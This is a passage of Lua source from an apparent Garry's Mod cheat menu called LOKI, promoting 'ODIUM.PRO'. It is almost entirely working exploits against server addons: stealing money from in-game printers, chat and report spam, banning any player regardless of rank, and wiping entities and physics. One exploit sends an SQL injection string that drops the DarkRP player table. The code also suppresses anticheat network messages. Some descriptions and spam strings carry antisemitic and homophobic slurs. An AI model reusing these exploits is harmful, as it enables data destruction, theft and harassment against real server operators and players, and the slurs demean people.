2586 if(Receiver) then
2587 if(Receiver(v, LOKI.NetIncomingMsg) == false) then
2588 return nil
2589 end
2590 end
2591 end
2592 end,
2593 },
2594 /*string = {
2595 lower = function(sploit, varargs)
2596 local str = varargs[1]
2597 if(str == "Odium") then
2598 return LOKI.GetDetour("string.lower", string.lower)
2599 end
2600 if(str == "LOKI.GetTable()") then
2601 return LOKI
2602 end
2603 local LowerCommand = LOKI.GetDetour("string.lower", string.lower)( str ) || str
2604 if ( LOKI.CommandList[ LowerCommand ] != nil ) then
2605 pcall(function() LOKI.CommandList[ LowerCommand ]( player, str, arguments, args ) end)
2606 end
2607 end,
2608 },*/ -- might use later, somewhat secure way to add concommands in clientstate but PlayerBindPress works better
2609 net = {
2610 Receive = function(sploit, strName)
2611 if(strName == "diagnostics1" || strName == "diagnostics2" || strName == "diagnostics3") then
2612 return false
2613 end
2614 end,
2615 /*WriteAngle = function(sploit, varargs)
2616 if(LOKI.NetOutgoingMsg == "thirdperson_etp") then
2617 varargs[1] = Angle(0,0,0,2^64)
2618 end
2619 end,*/
2620 ["*"] = function(tabk, funck, sploit, varargs)
2621 if(funck:StartWith("Write")) then
2622 if(LOKI.BlockNetOutgoing) then
2623 return false
2624 elseif(funck == "BytesWritten") then
2625 return -1
2626 elseif(LOKI.NetOutgoingMsg == "anticheat" || LOKI.NetOutgoingMsg == "thisisnotcool") then
2627 return false
2628 elseif(funck == "WriteTable") then
2629 if(LOKI.Developer) then
2630 PrintTable(varargs[1])
2631 end
2632 end
2633 elseif(funck:StartWith("Read")) then
2634 if(LOKI.BlockNetIncoming) then
2635 return false
2636 end
2637 end
2638 end,
2639 },
2640 PreDrawTranslucentRenderables = function()
2641 EyePos()
2642 EyeVector()
2643 EyeAngles()
2644 end,
2645 PlayerBindPress = function(tbl, sploit, varargs, ret)
2646 if(LOKI.CommandList[ LOKI.GetDetour("string.lower", string.lower)( varargs[2] ) ] && varargs[3]) then
2647 pcall(function() LOKI.CommandList[ LOKI.GetDetour("string.lower", string.lower)( varargs[2] ) ](unpack(varargs)) end)
2648 return true
2649 end
2650 if(ret != nil) then return ret else return false end
2651 end,
2652 cam = {
2653 //Start3D = function() return false end,
2654 //End3D = function() return false end,
2655 },
2656 _G = {
2657 RunConsoleCommand = function(tbl, varargs)
2658 if(varargs[1] == "disconnect") then return false end
2659 end,
2660 },
2661 vgui = {
2662 Create = function(tbl, varargs)
2663 local classname, parent, name, loki = varargs[1],varargs[2],varargs[3],varargs[4]
2664 local ret = vgui.Create(classname, parent, name)
2665 if(!ret) then print("something touched me wrongly") return end
2666 ret.MenuStart = true
2667 if(classname == "DFrame" && loki == true) then
2668 ret:SetPaintedManually(true)
2669 ret.PaintedManually = true
2670 LOKI.DrawPanels[#LOKI.DrawPanels+1] = ret
2671 return LOKI.DrawPanels[#LOKI.DrawPanels]
2672 end
2673 return ret
2674 end,
2675 },
2676 },
2677 functions = {
2678 { typ = "float", Name = "Rate", default = LOKI.RATE_LIMIT, addr = "tpsrate", min = 1, max = (LOKI.ARES && math.huge || 1536) },
2679 { typ = "float", Name = "Ticks", min = 1, max = LOKI.TICK_RATE, default = LOKI.TICK_RATE, addr = "tickdelay" },
2680 { typ = "float", Name = "FPS", min = 0, max = math.huge, default = 5, addr = "fpsthreshold" },
2681 { typ = "float", Name = "Bait", min = 0, max = math.huge, default = 5, addr = "baitthreshold" },
2682 { typ = "bool", ToggleText = {"Freecam"}, border = true, bool = "freecam", callback = LOKI.Freecam.Toggle },
2683 //{ typ = "bool", ToggleText = {"Secure"}, border = true, addr = "securerenderer", bool = "securerenderer" },
2684 //{ typ = "bool", ToggleText = {"Fix ESP"}, border = true, bool = "fixesp" },
2685 { typ = "player", addr = "spectate", Name = "Spectate", nostore = true },
2686 //{ typ = "bool", ToggleText = {"Fix Sprint"}, border = true, bool = "sprintfix" },
2687 },
2688 } )
2689 LOKI.BAIT_LIMIT = LOKI.GetStored( "baitthreshold", 5 )
2690 //////////////////////////////////////////////- MONEY -////////////////////////////////////////////////
2691 LOKI.AddExploit( "Printer Money Stealer", {
2692 desc = "Instantly jew all money from every printer on the server (500 for latest, -1 for infinite)",
2693 severity = 90,
2694 bools = {enabled = false},
2695 status = 1,
2696 times_per_tick = 1,
2697 vars = {},
2698 scan = function() return LOKI.DynamicNetString("SyncPrinterButtons") end,
2699 hooks = {
2700 Tick = function(tbl, sploit)
2701 local dist = LOKI.GetStored( "printers1", 500 )
2702 local ent_tbl = LOKI.ents.FindByGlobal("WithdrawText")
2703 for k, v in ipairs(ent_tbl) do
2704 if( dist == -1 || LOKI.GetLP():GetPos():Distance(v:GetPos()) < dist ) then
2705 LOKI.NetStart( sploit, sploit.channel )
2706 net.WriteEntity(v)
2707 net.WriteUInt(2, 4)
2708 net.SendToServer()
2709 end
2710 end
2711 end,
2712 },
2713 functions = {
2714 { typ = "bool", },
2715 { typ = "float", Name = "Distance", min = -1, max = math.huge, default = 500, addr = "printers1" },
2716 },
2717 } )
2718 LOKI.AddExploit( "Printer Money Stealer", {
2719 desc = "Instantly jew all money from every printer on the server",
2720 severity = 90,
2721 bools = {enabled = false},
2722 status = 1,
2723 times_per_tick = 1,
2724 vars = {},
2725 scan = function() return LOKI.ValidNetString( "DataSend" ) end,
2726 hooks = {
2727 Tick = function(tbl, sploit)
2728 for k, v in ipairs(LOKI.ents.FindByGlobal("GetPToggle")) do
2729 LOKI.NetStart( sploit, "DataSend")
2730 net.WriteFloat(2)
2731 net.WriteEntity(v)
2732 net.WriteEntity(LOKI.GetLP())
2733 net.SendToServer()
2734 end
2735 end,
2736 },
2737 functions = {
2738 { typ = "bool", },
2739 },
2740 } )
2741 LOKI.AddExploit( "Printer Money Stealer", {
2742 desc = "Instantly jew all money from every printer on the server",
2743 severity = 90,
2744 bools = {enabled = false},
2745 status = 1,
2746 times_per_tick = 1,
2747 vars = {},
2748 scan = function() return LOKI.ValidNetString( "withdrawop" ) end,
2749 hooks = {
2750 Tick = function(tbl, sploit)
2751 for k, v in ipairs(LOKI.ents.FindByGlobal("S_Model")) do
2752 LOKI.NetStart( sploit, "withdrawop")
2753 net.WriteEntity(v)
2754 net.SendToServer()
2755 end
2756 end,
2757 },
2758 functions = {
2759 { typ = "bool", },
2760 },
2761 } )
2762 LOKI.AddExploit( "Printer Money Stealer", {
2763 desc = "Instantly jew all money from every printer on the server",
2764 severity = 90,
2765 bools = {enabled = false},
2766 status = 1,
2767 times_per_tick = 1,
2768 vars = {},
2769 scan = function() return LOKI.ValidNetString( "NGII_TakeMoney" ) end,
2770 hooks = {
2771 Tick = function(tbl, sploit)
2772 for k, v in ipairs(LOKI.ents.FindByGlobal("Stats")) do
2773 LOKI.NetStart( sploit, "NGII_TakeMoney")
2774 net.WriteEntity(v)
2775 net.WriteEntity(LOKI.GetLP())
2776 net.SendToServer()
2777 end
2778 end,
2779 },
2780 functions = {
2781 { typ = "bool", },
2782 },
2783 } )
2784 LOKI.AddExploit( "Printer Money Stealer", {
2785 desc = "Instantly jew all money from every printer on the server",
2786 severity = 90,
2787 bools = {enabled = false},
2788 status = 1,
2789 times_per_tick = 1,
2790 vars = {},
2791 scan = function() return LOKI.ValidNetString( "NET_DoPrinterAction" ) end,
2792 hooks = {
2793 Tick = function(tbl, sploit)
2794 for k, v in ipairs(LOKI.ents.FindByGlobal("Stats")) do
2795 LOKI.NetStart( sploit, "NET_DoPrinterAction")
2796 net.WriteEntity(LOKI.GetLP())
2797 net.WriteEntity(v)
2798 net.WriteInt(2, 16)
2799 net.SendToServer()
2800 end
2801 end,
2802 },
2803 functions = {
2804 { typ = "bool", },
2805 },
2806 } )
2807 LOKI.AddExploit( "Printer Money Stealer", {
2808 desc = "Instantly jew all money from every bitminer on the server",
2809 severity = 90,
2810 bools = {enabled = false},
2811 status = 1,
2812 times_per_tick = 1,
2813 vars = {},
2814 scan = function() return LOKI.ValidNetString( "BM2.Command.SellBitcoins" ) end,
2815 hooks = {
2816 Tick = function(tbl, sploit)
2817 if(LOKI.TIME_TO_TICKS(LOKI.REAL_CURTIME) % (LOKI.SafeToNumber(LOKI.GetStored("stealer1cooldown", 1)) + 1) == 0) then
2818 for k, v in ipairs(LOKI.ents.FindByGlobal("GetIsMining")) do
2819 LOKI.NetStart( sploit, "BM2.Command.SellBitcoins")
2820 net.WriteEntity(v)
2821 net.SendToServer()
2822 end
2823 end
2824 end,
2825 },
2826 functions = {
2827 { typ = "float", Name = "Cooldown", min = 0, max = LOKI.TICK_RATE, default = 1, addr = "stealer1cooldown" },
2828 { typ = "bool", },
2829 },
2830 } )
2831 LOKI.AddExploit( "Printer Money Stealer", {
2832 desc = "Instantly jew all money from every printer on the server",
2833 severity = 90,
2834 bools = {enabled = false},
2835 status = 1,
2836 times_per_tick = 1,
2837 vars = {},
2838 scan = function() return LOKI.ValidNetString( "fg_printer_money" ) end,
2839 hooks = {
2840 Tick = function(tbl, sploit)
2841 for k, v in ipairs(LOKI.ents.FindByGlobal("Getdata_money")) do
2842 LOKI.NetStart( sploit, "fg_printer_money")
2843 net.WriteEntity(v)
2844 net.SendToServer()
2845 end
2846 end,
2847 },
2848 functions = {
2849 { typ = "bool", },
2850 },
2851 } )
2852 LOKI.AddExploit( "Printer Money Stealer", {
2853 desc = "Instantly jew all money from every printer on the server",
2854 severity = 90,
2855 bools = {enabled = false},
2856 status = 1,
2857 times_per_tick = 1,
2858 vars = {},
2859 scan = function() return LOKI.ValidNetString( "icemod_printer_withdraw" ) end,
2860 hooks = {
2861 Tick = function(tbl, sploit)
2862 for k, v in ipairs(LOKI.ents.FindByGlobal("PrinterMenu")) do
2863 LOKI.NetStart( sploit, "icemod_printer_withdraw")
2864 net.WriteEntity(v)
2865 net.SendToServer()
2866 end
2867 end,
2868 },
2869 functions = {
2870 { typ = "bool", },
2871 },
2872 } )
2873 LOKI.AddExploit( "Printer Exploit", {
2874 desc = "Edit the stats of any printer in the server",
2875 severity = 65,
2876 bools = {enabled = false},
2877 status = 1,
2878 times_per_tick = math.huge,
2879 scan = function() return LOKI.DynamicNetString( "lithiumPrinter2" ) end,
2880 count = {
2881 ["Active"] = 3,
2882 ["Total"] = 3,
2883 },
2884 hooks = {
2885 Think = function(tbl, sploit)
2886 local ent = LOKI.GetStored("px_ply", {})[1]
2887 if(IsValid(ent) && istable(ent.data)) then
2888 LOKI.OpenTableEditor(LOKI.Menu, ent.data, "Printer Stats", function(tbl)
2889 LOKI.NetStart(sploit, {"lithiumPrinter2Bronze", "lithiumPrinter2Economic", "lithiumPrinter2Iron", "lithiumPrinter2Silver", "lithiumPrinter2Obsidian", "lithiumPrinter2Donator"}, true)
2890 net.WriteEntity(ent)
2891 net.WriteTable(tbl)
2892 net.SendToServer()
2893 end)
2894 end
2895
2896 end,
2897 },
2898 functions = {
2899 { typ = "entity", addr = "px_ply", Name = "Printer", tbl = function() return LOKI.ents.FindByGlobal("data") end },
2900 { typ = "func", Name = "Edit", },
2901 },
2902 } )
2903 LOKI.AddExploit( "Printer Exploit", {
2904 desc = "Edit the shelves of any printer in the server",
2905 severity = 65,
2906 bools = {enabled = false},
2907 status = 1,
2908 times_per_tick = math.huge,
2909 scan = function() return LOKI.DynamicNetString( "lithiumPrinter2" ) end,
2910 count = {
2911 ["Active"] = 2,
2912 ["Total"] = 2,
2913 },
2914 hooks = {
2915 Think = function(tbl, sploit)
2916 local ent = LOKI.GetStored("px2_ply", {})[1]
2917 if(IsValid(ent) && istable(ent.shelves)) then
2918 LOKI.OpenTableEditor(LOKI.Menu, ent.shelves, "Printer Shelves", function(tbl)
2919 LOKI.NetStart(sploit, {"lithium_printers_connected", "lithiumPrinters2RackLarge"}, true)
2920 net.WriteEntity(ent)
2921 net.WriteTable(tbl)
2922 net.SendToServer()
2923 end)
2924 end
2925
2926 end,
2927 },
2928 functions = {
2929 { typ = "entity", addr = "px2_ply", Name = "Printer", tbl = function() return LOKI.ents.FindByGlobal("shelves") end },
2930 { typ = "func", Name = "Edit", },
2931 },
2932 } )
2933 //////////////////////////////////////////////- SPAM -////////////////////////////////////////////////
2934 LOKI.AddExploit( "Chat Spam", {
2935 desc = "Spams specific players on the server with a message",
2936 severity = 1,
2937 bools = {enabled = false},
2938 status = 1,
2939 times_per_tick = 10,
2940 scan = function() return (LOKI.ValidNetString( "sendtable" ) ) end,
2941 hooks = {
2942 Think = function(tbl, sploit)
2943 for k, v in ipairs( LOKI.GetStored( "fr_players", {} ) ) do
2944 if !IsValid(v) then continue end
2945 local buyit = {}
2946 for i = 1, 15 do
2947 buyit[#buyit + 1] = LOKI.GetStored( "fr_spamstring", "GET ODIUM.PRO" )
2948 end
2949 LOKI.NetStart( sploit, "sendtable" )
2950 net.WriteEntity( v )
2951 net.WriteTable( buyit )
2952 net.SendToServer()
2953 end
2954 end,
2955 },
2956 functions = {
2957 { typ = "string", Name = "Enter a message", default = "GET ODIUM.PRO", addr = "fr_spamstring" },
2958 { typ = "players", addr = "fr_players" },
2959 { typ = "bool", },
2960 },
2961 } )
2962 LOKI.AddExploit( "Chat Spam", {
2963 desc = "Spam private messages to anyone",
2964 severity = 50,
2965 bools = {enabled = false},
2966 status = 1,
2967 msgs_per_tick = function(sploit) return #LOKI.GetStored( "spammer_plyz", {} ) end,
2968 times_per_tick = math.huge,
2969 vars = {},
2970 scan = function()
2971 local psay, query = LOKI.RecursiveGetVar(ulx, {"psay"}, "function"), LOKI.RecursiveGetVar(ULib, {"ucl", "query"}, "function")
2972 return (psay && query && query( LOKI.GetLP(), "ulx psay" )) end,
2973 hooks = {
2974 Think = function(tbl, sploit)
2975 if(LOKI.GetLP().ulib_threat_level) then
2976 LOKI.GetLP().ulib_threat_level = 0
2977 end
2978 for k, v in ipairs( LOKI.GetStored( "spammer_plyz", {} ) ) do
2979 if !IsValid(v) then continue end
2980 local spamstr = LOKI.GetStored( "spam_message", "GET ODIUM.PRO" )
2981 LOKI.RCC(sploit, "ulx", "psay", v:Nick(), spamstr)
2982 end
2983 end,
2984 },
2985 functions = {
2986 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "spam_message" },
2987 { typ = "players", addr = "spammer_plyz" },
2988 { typ = "bool", },
2989 },
2990 } )
2991 LOKI.AddExploit( "Chat Spam", {
2992 desc = "Spam admin messages",
2993 severity = 50,
2994 bools = {enabled = false},
2995 status = 1,
2996 msgs_per_tick = function(sploit) return #LOKI.GetStored( "spamasay_plyz", {} ) end,
2997 times_per_tick = math.huge,
2998 vars = {},
2999 scan = function()
3000 local asay, query = LOKI.RecursiveGetVar(ulx, {"asay"}, "function"), LOKI.RecursiveGetVar(ULib, {"ucl", "query"}, "function")
3001 return (asay && query && query( LOKI.GetLP(), "ulx asay" )) end,
3002 hooks = {
3003 Think = function(tbl, sploit)
3004 if(LOKI.GetLP().ulib_threat_level) then
3005 LOKI.GetLP().ulib_threat_level = 0
3006 end
3007 local spamstr = LOKI.GetStored( "spam2_message", "GET ODIUM.PRO" )
3008 LOKI.RCC(sploit, "ulx", "asay", spamstr)
3009 end,
3010 },
3011 functions = {
3012 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "spam2_message" },
3013 { typ = "bool", },
3014 },
3015 } )
3016 LOKI.AddExploit( "Chat Spam", {
3017 desc = "Set ALL taxes to 0 and spam notifies",
3018 severity = 50,
3019 bools = {enabled = false},
3020 status = 2,
3021 times_per_tick = 1,
3022 vars = {},
3023 scan = function() return LOKI.ValidNetString("BEModule_SetTaxes") && BEModuleConfig && BEModuleConfig.EnableTaxes end,
3024 hooks = {
3025 Think = function(tbl, sploit)
3026 LOKI.NetStart( sploit, "BEModule_SetTaxes")
3027 net.SendToServer()
3028 end,
3029 },
3030 functions = {
3031 { typ = "bool", },
3032 },
3033 } )
3034 LOKI.AddExploit( "Report Exploit", {
3035 desc = "Spam reports on everybody on the server",
3036 severity = 1,
3037 bools = {enabled = false},
3038 status = 2,
3039 times_per_tick = 1,
3040 vars = {},
3041 scan = function() return LOKI.ValidNetString( "TransferReport" ) end,
3042 hooks = {
3043 Think = function(tbl, sploit)
3044 for k, v in ipairs( player.GetAll() ) do
3045 LOKI.NetStart( sploit, "TransferReport" )
3046 net.WriteString( v:SteamID() )
3047 net.WriteString( "INFERNUS AND BAT ARE FAGGOTS FOR EACH OTHER" )
3048 net.WriteString( "DITCH THIS SHITTY SERVER AND BUY ODIUM.PRO TODAY" )
3049 net.SendToServer()
3050 end
3051 end,
3052 },
3053 functions = {
3054 { typ = "func", Name = "Report Everybody", },
3055 },
3056 } )
3057 LOKI.ChatClear = LOKI.LAST.ChatClear || _G.ChatClear
3058 LOKI.AddExploit( "Chat Spam", {
3059 desc = "Chat will clear and become unusable. (patched on some custom chatboxes)",
3060 severity = 50,
3061 bools = {enabled = false},
3062 status = 1,
3063 times_per_tick = 1,
3064 vars = {},
3065 scan = function() return pcall(function() require("cc") end) && istable(LOKI.ChatClear || _G.ChatClear) end,
3066 initial = function()
3067 if(!LOKI.ChatClear) then
3068 LOKI.ChatClear = _G.ChatClear
3069 end
3070 if(_G.ChatClear) then
3071 _G.ChatClear = nil
3072 end
3073 end,
3074 hooks = {
3075 Think = function(tbl, sploit)
3076 if(LOKI.ChatClear) then if(DarkRP) then LOKI.ChatClear.OOC() else LOKI.ChatClear.Run() end end
3077 end,
3078 },
3079 functions = {
3080 { typ = "bool", },
3081 },
3082 } )
3083 LOKI.AddExploit( "Team Change Spammer", {
3084 desc = "Chat will spam with team changes",
3085 severity = 50,
3086 bools = {enabled = false},
3087 status = 1,
3088 msgs_per_tick = function(sploit)
3089 local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think", "team"}, "table", true)
3090 LOKI.SetTableContents(tbl, LOKI.GetVarTable(team.GetAllTeams(), "Joinable", LOKI.TYPEVARS.EQUALTO, true))
3091 return #tbl
3092 end,
3093 times_per_tick = math.huge,
3094 vars = {},
3095 scan = function() return LOKI.GetLP().pkdata != nil end,
3096 hooks = {
3097 Think = function(tbl, sploit)
3098 for k, v in ipairs( LOKI.RecursiveGetVar(sploit, {"vars", "Think", "team"}, "table", true) ) do
3099 if(v.Joinable == true) then
3100 LOKI.RCC(sploit, "_team", tostring(k))
3101 end
3102 end
3103 end,
3104 },
3105 functions = {
3106 { typ = "bool", },
3107 },
3108 } )
3109 LOKI.AddExploit( "Respawn Exploit", {
3110 desc = "Instantly respawn on death, skip respawn timer",
3111 severity = 50,
3112 bools = {enabled = false},
3113 status = 1,
3114 times_per_tick = 1,
3115 vars = {},
3116 scan = function() return LOKI.GetLP().pkdata != nil end,
3117 hooks = {
3118 entity_killed = function(tbl, sploit, varargs)
3119 local data = varargs[1]
3120 local ent = Entity(data.entindex_killed)
3121 if ( ent == LOKI.GetLP() ) then
3122 for k, v in ipairs( team.GetAllTeams() ) do
3123 if(v.Joinable == true && k != LOKI.GetLP():Team()) then
3124 LOKI.RCC(sploit, "_team", tostring(k))
3125 break
3126 end
3127 end
3128 end
3129 end,
3130 },
3131 functions = {
3132 { typ = "bool", },
3133 },
3134 } )
3135 /*LOKI.AddExploit( "Respawn Exploit", {
3136 desc = "Instantly respawn on death",
3137 severity = 90,
3138 bools = {enabled = false},
3139 status = 1,
3140 times_per_tick = 1,
3141 vars = {},
3142 scan = function() return LOKI.ValidNetString("recreate_move") end,
3143 hooks = {
3144 entity_killed = function(tbl, sploit, varargs)
3145 local data = varargs[1]
3146 local ent = Entity(data.entindex_killed)
3147 if ( ent == LOKI.GetLP() ) then
3148 LOKI.NetStart(sploit, "recreate_move")
3149 net.WriteVector(LOKI.GetLP():GetPos())
3150 net.WriteAngle(LOKI.GetLP():GetAngles())
3151 net.SendToServer()
3152 end
3153 end,
3154 },
3155 functions = {
3156 { typ = "bool", },
3157 },
3158 } )*/ --TRASH
3159 LOKI.AddExploit( "Console Spam", {
3160 desc = "Supposed to be a lagsploit but doesn't actually cause lag, just spams console",
3161 severity = 90,
3162 bools = {enabled = false},
3163 status = 1,
3164 times_per_tick = 20,
3165 scan = function() return ULib != nil end,
3166 hooks = {
3167 Think = function(tbl, sploit)
3168 LOKI.RCC(sploit, "_u", LOKI.GetStored("consolespam1", "GET ODIUM.PRO") )
3169 end,
3170 },
3171 functions = {
3172 { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "consolespam1" },
3173 { typ = "bool", },
3174 },
3175 } )
3176 LOKI.AddExploit( "Chat Spam", {
3177 desc = "Big chat spams, extremely annoying",
3178 severity = 1,
3179 bools = {enabled = false},
3180 status = 2,
3181 times_per_tick = 1,
3182 vars = {},
3183 scan = function() return LOKI.ValidNetString( "VJSay" ) end,
3184 hooks = {
3185 Think = function(tbl, sploit)
3186 for k, v in ipairs( player.GetAll() ) do
3187 LOKI.NetStart( sploit, "VJSay" )
3188 net.WriteEntity( v )
3189 net.WriteString( LOKI.GetStored( "vj_spamstring", "GET ODIUM.PRO" ) )
3190 if LOKI.GetStored( "vj_spamsound", "" ) != "" then
3191 net.WriteString( LOKI.GetStored( "vj_spamsound", "" ) )
3192 end
3193 net.SendToServer()
3194 end
3195 end,
3196 },
3197 functions = {
3198 { typ = "string", Name = "Enter a message", default = "GET ODIUM.PRO", addr = "vj_spamstring" },
3199 { typ = "string", Name = "Enter a sound path", default = "vo/npc/male01/hacks01.wav", addr = "vj_spamsound" },
3200 { typ = "bool", },
3201 },
3202 } )
3203 //////////////////////////////////////////////- HARM -////////////////////////////////////////////////
3204 LOKI.AddExploit( "Ban Exploit", {
3205 desc = "Allows you to ban anyone regardless of rank",
3206 severity = 100,
3207 bools = {enabled = false},
3208 status = 3,
3209 times_per_tick = 1,
3210 vars = {},
3211 scan = function() return LOKI.ValidNetString( "banleaver" ) end,
3212 hooks = {
3213 Think = function(tbl, sploit)
3214 for k,v in ipairs(LOKI.GetStored( "banleaver_ply", {} )) do
3215 if IsValid(v) then
3216 if(v:IsPlayer()) then
3217 LOKI.NetStart( sploit, "banleaver")
3218 net.WriteString(tostring(v:SteamID().."{sep}"..tostring(v:Name())))
3219 net.SendToServer()
3220 end
3221 end
3222 end
3223 end,
3224 },
3225 functions = {
3226 { typ = "players", addr = "banleaver_ply" },
3227 { typ = "bool", Name = "Ban", args = {}, },
3228 },
3229 } )
3230 LOKI.AddExploit( "Ban Exploit", {
3231 desc = "Allows you to ban anyone regardless of rank",
3232 severity = 100,
3233 bools = {enabled = false},
3234 status = 2,
3235 times_per_tick = 1,
3236 vars = {},
3237 scan = function() return LOKI.ValidNetString( "gBan.BanBuffer" ) end,
3238 hooks = {
3239 Think = function(tbl, sploit)
3240 for k,v in ipairs(LOKI.GetStored( "ban2_ply", {} )) do
3241 if IsValid(v) then
3242 if(v:IsPlayer()) then
3243 LOKI.NetStart( sploit, "gBan.BanBuffer" )
3244 net.WriteBool( true )
3245 net.WriteInt( LOKI.SafeToNumber(LOKI.GetStored("ban2time", 0)), 32 )
3246 net.WriteString( LOKI.GetStored("ban2", "GET ODIUM.PRO") )
3247 net.WriteString( v:SteamID() )
3248 net.SendToServer()
3249 end
3250 end
3251 end
3252 end,
3253 },
3254 functions = {
3255 { typ = "players", addr = "ban2_ply" },
3256 { typ = "string", Name = "Ban Reason", default = "GET ODIUM.PRO", addr = "ban2" },
3257 { typ = "float", Name = "Ban Time", min = 0, max = (math.pow(2, 32)-1)/2, default = 0, addr = "ban2time" },
3258 { typ = "bool", Name = "Ban", args = {}, },
3259 },
3260 } )
3261 LOKI.AddExploit( "Ban Exploit", {
3262 desc = "Allows you to ban anyone regardless of rank",
3263 severity = 100,
3264 bools = {enabled = false},
3265 status = 1,
3266 times_per_tick = 1,
3267 vars = {},
3268 scan = function() return LOKI.ValidNetString( "RDMAssign" ) end,
3269 hooks = {
3270 Think = function(tbl, sploit)
3271 for k,v in ipairs(LOKI.GetStored( "ban3_ply", {} )) do
3272 if IsValid(v) then
3273 if(v:IsPlayer()) then
3274 for i=1, 10 do
3275 LOKI.NetStart( sploit, "RDMAssign" )
3276 net.WriteEntity( v )
3277 net.SendToServer()
3278 end
3279 end
3280 end
3281 end
3282 end,
3283 },
3284 functions = {
3285 { typ = "players", addr = "ban3_ply" },
3286 { typ = "func", Name = "Do it" },
3287 },
3288 } )
3289 LOKI.AddExploit( "Break The Server", {
3290 desc = "Vandalize the DarkRP master SQL database, permanently erasing all DarkRP player data",
3291 severity = 100,
3292 bools = {enabled = false},
3293 status = 1,
3294 times_per_tick = 1,
3295 vars = {},
3296 scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay end,
3297 hooks = {
3298 Think = function(tbl, sploit)
3299 local ass = {}
3300 ass.tblname = "darkrp_player; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
3301 ass.ply = LOKI.GetLP()
3302 LOKI.NetStart(sploit, "pplay_sendtable")
3303 net.WriteTable(ass)
3304 net.SendToServer()
3305 end,
3306 },
3307 functions = {
3308 { typ = "func", Name = "Burn it down", },
3309 },
3310 } )
3311 LOKI.AddExploit( "Break The Server", {
3312 desc = "Will cause a nuclear implosion",
3313 severity = 100,
3314 bools = {enabled = false},
3315 status = 2,
3316 times_per_tick = 1,
3317 vars = {},
3318 scan = function() return LOKI.ValidNetString( "MDE_RemoveStuff_C2S" ) end,
3319 hooks = {
3320 Think = function(tbl, sploit)
3321 for k, v in ipairs( LOKI.ents.FindByGlobal("") ) do
3322 LOKI.NetStart( sploit, "MDE_RemoveStuff_C2S")
3323 net.WriteTable( {DATA="",TARGET=v} )
3324 net.SendToServer()
3325 end
3326 end,
3327 },
3328 functions = {
3329 { typ = "func", Name = "Burn it down", },
3330 },
3331 } )
3332 LOKI.AddExploit( "Break The Server", {
3333 desc = "Will cause a nuclear implosion",
3334 severity = 100,
3335 bools = {enabled = false},
3336 status = -1,
3337 times_per_tick = 1,
3338 vars = {},
3339 scan = function() return LOKI.ValidNetString( "timebombDefuse" ) end,
3340 hooks = {
3341 Think = function(tbl, sploit)
3342 for k, v in ipairs( LOKI.ents.FindByGlobal("") ) do
3343 LOKI.NetStart( sploit, "timebombDefuse")
3344 net.WriteEntity(v)
3345 net.WriteBool(true)
3346 net.SendToServer()
3347 end
3348 end,
3349 },
3350 functions = {
3351 { typ = "func", Name = "Burn it down", },
3352 },
3353 } )
3354 LOKI.AddExploit( "Break The Server", {
3355 desc = "Irreversibly break the physics engine",
3356 severity = 100,
3357 bools = {enabled = false},
3358 status = 1,
3359 times_per_tick = 1,
3360 vars = {},
3361 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
3362 hooks = {
3363 Think = function(tbl, sploit)
3364 LOKI.NetStart(sploit, "dialogAlterWeapons")
3365 net.WriteString("Add")
3366 net.WriteTable({[1] = "worldspawn"})
3367 net.SendToServer()
3368 end,
3369 },
3370 functions = {
3371 { typ = "func", Name = "Burn it down", },
3372 },
3373 } )
3374 LOKI.AddExploit( "Cuff Breaker", {
3375 desc = "Instantly break out of handcuffs",
3376 severity = 1,
3377 bools = {enabled = false},
3378 status = 1,
3379 times_per_tick = 1,
3380 vars = {},
3381 scan = function() return LOKI.ValidNetString( "Kun_ZiptieStruggle" ) end,
3382 hooks = {
3383 Think = function(tbl, sploit)
3384 LOKI.NetStart( sploit, "Kun_ZiptieStruggle")
3385 net.SendToServer()
3386 end,
3387 },
3388 functions = {
3389 { typ = "bool", },
3390 },
3391 } )
3392 LOKI.AddExploit( "Cuff Breaker", {
3393 desc = "Automatically break out of handcuffs",
3394 severity = 1,
3395 bools = {enabled = false},
3396 status = 1,
3397 times_per_tick = 1,
3398 vars = {},
3399 scan = function() return isfunction(LOKI.GetLP().IsHandcuffed) end,
3400 hooks = {
3401 CreateMove = function(tbl, sploit, varargs)
3402 local cmd = varargs[1]
3403 if(LOKI.GetLP().IsHandcuffed(LOKI.GetLP())) then
3404 if(cmd:TickCount() % 2 == 0) then
3405 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK));
3406 end
3407 end
3408 end,
3409 },
3410 functions = {
3411 { typ = "bool", },
3412 },
3413 } )
3414 LOKI.AddExploit( "Cuff Breaker", {
3415 desc = "Instantly break out of handcuffs",
3416 severity = 1,
3417 bools = {enabled = false},
3418 status = 1,
3419 times_per_tick = 1,
3420 vars = {},
3421 scan = function() return LOKI.ValidNetString("realistic_hook BreakFree") end,
3422 hooks = {
3423 CreateMove = function(tbl, sploit, varargs)
3424 local cmd = varargs[1]
3425 local target_ents = LOKI.GetVarTable(ents.GetAll(), "GetTargetEnt", LOKI.TYPEVARS.EQUALTO, LOKI.GetLP())
3426 if(target_ents[1]) then
3427 if(cmd:TickCount() % 2 == 0) then
3428 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_USE));
3429 end
3430 end
3431 end,
3432 },
3433 functions = {
3434 { typ = "bool", },
3435 },
3436 } )
3437 LOKI.AddExploit( "Cuff Breaker", {
3438 desc = "Instantly break out of handcuffs",
3439 severity = 1,
3440 bools = {enabled = false},
3441 status = 1,
3442 times_per_tick = 1,
3443 vars = {},
3444 scan = function() return isfunction(LOKI.GetLP().IsHandcuffed) && LOKI.ValidNetString("dialogAlterWeapons") end,
3445 hooks = {
3446 Think = function(tbl, sploit)
3447 if(LOKI.GetLP():IsHandcuffed()) then
3448 LOKI.NetStart( sploit, "dialogAlterWeapons")
3449 net.WriteString("Remove")
3450 net.WriteTable({[1] = "weapon_handcuffed"})
3451 net.SendToServer()
3452 end
3453 end,
3454 },
3455 functions = {
3456 { typ = "bool", },
3457 },
3458 } )
3459 LOKI.AddExploit( "Entity Exploit", {
3460 desc = "Unfreeze any entity",
3461 severity = 50,
3462 bools = {enabled = false},
3463 status = 2,
3464 times_per_tick = 1,
3465 vars = {},
